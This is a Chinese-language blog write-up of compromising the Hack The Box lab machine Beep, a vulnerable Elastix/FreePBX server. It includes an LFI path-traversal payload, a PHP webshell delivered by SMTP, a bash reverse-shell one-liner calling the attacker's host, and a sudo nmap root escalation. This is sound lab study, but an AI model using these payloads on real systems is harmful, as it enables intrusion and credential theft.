本文最后更新于:星期二, 六月 16日 2020, 3:01 下午

整两个简单的靶机。

更新中(也可能不再更新了

现在我想尝试一下难度系数相对高一点的,所以我找了个评价比较高(4.8)并且难度曲线相对于之前的两个靶机相对右移的靶机Beep

Beep

信息收集

首先,还是收集有关靶机的所有信息,nmap扫描靶机是必不可少的,所以执行命令nmap -sC -sV -oA nmap 10.10.10.7这一命令会将nmap的运行结果保存到nmap.nmap中,我们查看一下运行结果:

nmap

可以看到靶机开放了许多端口,我比较感兴趣的端口包括25(smtp)、80/443(http/https)、10000(Webmin)

在浏览器打开 https://10.10.10.7 可以发现这上面运行着Elastix。说实话不太认识这个Elastix,遂Google一下,发现这是一个软件系统,提供通讯功能,是基于Asterisk PBX的一个集成软件系统。Asterisk PBX则是一个开源的VoIP PBX系统,运行在Linux环境下,提供了许多电信功能,能够把x86机器变成你自己的交换机,这里贴一个链接方便理解这些概念:https://blog.csdn.net/liuxiao723846/article/details/79582973 在我的理解下,这就是一个处理各种拨号路由的机器,可以提供电话通讯等服务。Elastix是在FreePBX的基础上把UI界面做的更加漂亮,便于管理Asterisk PBX(因为Asterisk PBX本身并没有UI界面)

光看这些好像对我的渗透过程没有什么帮助,并且在页面上也没有找到任何相关的版本号等信息,所以可以尝试一下对服务器目录做一个扫描,目录扫描就有很多程序可以实现了,之前打CTF的时候经常用到的是dirsearch,这一次使用Kali上自带的一个扫描软件DirBuster,我们设定好字典,字典可以在目录/usr/share/wordlists/dirbuster/下找到

经过扫描我发现了几个比较感兴趣的目录,比如/admin/help,访问/admin发现需要登录,尝试弱密码admin/admin登录不进去,取消登录之后服务器将我们重定向到了/admin/config.php在这个页面上我们发现了FreePBX的版本为2.8.1.4

FreePBX

google一下FreePBX 2.8.1.4 changelog,发现这个版本是2011年发布的,都9年了,想必漏洞肯定是有的。这里还有一个方法可以尝试获取服务器的修改时间,比如说我们可以下载主页上的某个图片资源curl -k https://10.10.10.7/themes/elastixneo/images/elastix_logo_mini.png -o logo.png(或者使用wget),然后用exiftool查看这个图片的相关信息,可能可以发现一些蛛丝马迹。但是这一次我没有发现什么可以利用的信息。

攻击方法一(LFI)

但是起码在前面的信息收集过程中,我知道了这台服务器上运行的Elastix版本已经比较老旧了,这时我们可以用kali自带的工具searchsploit搜索一下有关elastix的一些历史漏洞以及POC

其中有一个本地文件包含的漏洞,是关于Elastix2.2.0的,我们可以查看一下searchsploit -x exploits/php/webapps/37637.pl,在其中我们可以看到LFI的payload如下:

/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

在浏览器中尝试访问,确实可以访问到amportal.conf,这个文件属于FreePBX的配置文件,我们也许可以从中找到一些比较敏感的信息,比如服务器的配置,用户名,密码等等。

这里插入一段关于Linux中的一些敏感文件,当你拿到Linux上的任意文件读时,可以看一下下列的敏感文件,也许对于渗透有帮助。

  1. /etc/passwd这其中存放着这个服务器所有的用户。除去那些nologin的用户,其他的用户都可以通过SSH登录。
  2. /proc/self/status这其中存放着服务器httpd的相关信息,这其中可以找到服务器用户的uid以及gid

通过1、2找到httpd服务对应的user,接下来我们可以尝试看看该用户目录下有没有存放RSA私钥(该靶机对应的httpd服务用户为asterisk

  1. /var/lib/asterisk/.ssh/id_rsa这里也许有服务器用户的私钥

在配置文件amportal.conf中,我们看到了疑似服务器密码的字段:

password

那么我们可以尝试一下用SSH连接root用户,并使用这个密码登录,经过尝试,登陆成功。

虽然攻击成功了,但是这里有一点要注意的就是,该靶机的教程视频中有尝试使用hydra对SSH进行爆破,但是在几次尝试之后就被限制访问,这是因为靶机上存在着fail2ban,它的配置文件在/etc/fail2ban/fail2ban.conf,这个文件中的配置会限制对SSH的多次爆破

攻击方法二(smtp)

攻击方法二的流程比较简单,不过需要学习的东西不少,需要学习到如何使用smtp协议与邮件服务器交互,主要的流程如下:

  1. 通过本地smtp用户创建一个邮件,正文为一个PHP一句话木马
  2. 使用前面的LFI本地文件包含访问到这个一句话木马文件,反弹一个shell到本地
  3. 使用sudo nmap --interactive利用sudo权限进入nmap的交互模式,再输入!sh获得一个root权限的shell

首先是如何用本地的smtp用户创建一个邮件,首先,需要用telnet建立起与smtp服务器的连接:telnet 10.10.10.7 25

Trying 10.10.10.7...
Connected to 10.10.10.7.
Escape character is '^]'.
220 beep.localdomain ESMTP Postfix
EHLO diaossama
250-beep.localdomain
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
VRFY asterisk@localhost
252 2.0.0 asterisk@localhost
mail from:haha@test.com
250 2.1.0 Ok
rcpt to:asterisk@localhost
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
<?php echo system($_REQUEST['cmd']); ?>

.
250 2.0.0 Ok: queued as BB2C2D9300
^]
telnet> 
quit
221 2.0.0 Bye
Connection closed by foreign host.

其中,EHLO是SMTP邮件发送过程中的第一条命令,用于向服务器通知你的主机名。

VRFY命令比较少见,我查询了一下:

VRFY 命令使 SMTP 客户机能够向 SMTP 服务器发送请求,请求验证特定用户名称的邮件是否位于服务器中。VRFY 命令是在 RFC 821 中定义的。

服务器将发送响应,表明用户是否本地用户、是否要转发邮件等。编号为 250 的响应表示用户名是本地的;编号为 251 的响应表示用户名不是本地的,但服务器可以转发邮件。服务器响应包含邮箱名称。

可以说VRFY命令算是比较危险的命令了,他可以用来枚举用户,所以一般服务器都会禁止这个命令(refer:https://www.freebuf.com/articles/web/182746.html

MAIL FROM命令则用来指定发信人的邮箱地址

RCPT TO命令则用来指定收件人的邮箱地址,这个邮件地址一定要是本地的邮件地址或者是服务器允许的外部邮件地址

DATA命令输入之后就可以接着输入邮件正文了,在正文中我输入了一段PHP一句话木马

从一开始键入EHLO命令后服务器的反馈来看,在该邮件服务器上发送邮件并不需要认证(没有250 auth),所以我们可以直接发送一封邮件到smtp服务器上,这封邮件会被保存在服务器的/var/mail/asterisk上,我们可以直接访问这个路径查看

mail

可以到这封邮件确实被保存在了服务器上,那么我们只需要传入键值cmd就可以在服务器上执行命令了,我们可以直接反弹一个shell回来:cmd=bash -i >& /dev/tcp/10.10.14.3/2333 0>&1,然后进行一下url编码

shell

可以看到我们确实获得了一个shell,接下来就是使用sudo执行nmap提权了

bash-3.2$ sudo nmap --interactive

Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh 
whoami
root

可以看到,执行!sh后,我们就获得了一个以root权限运行的shell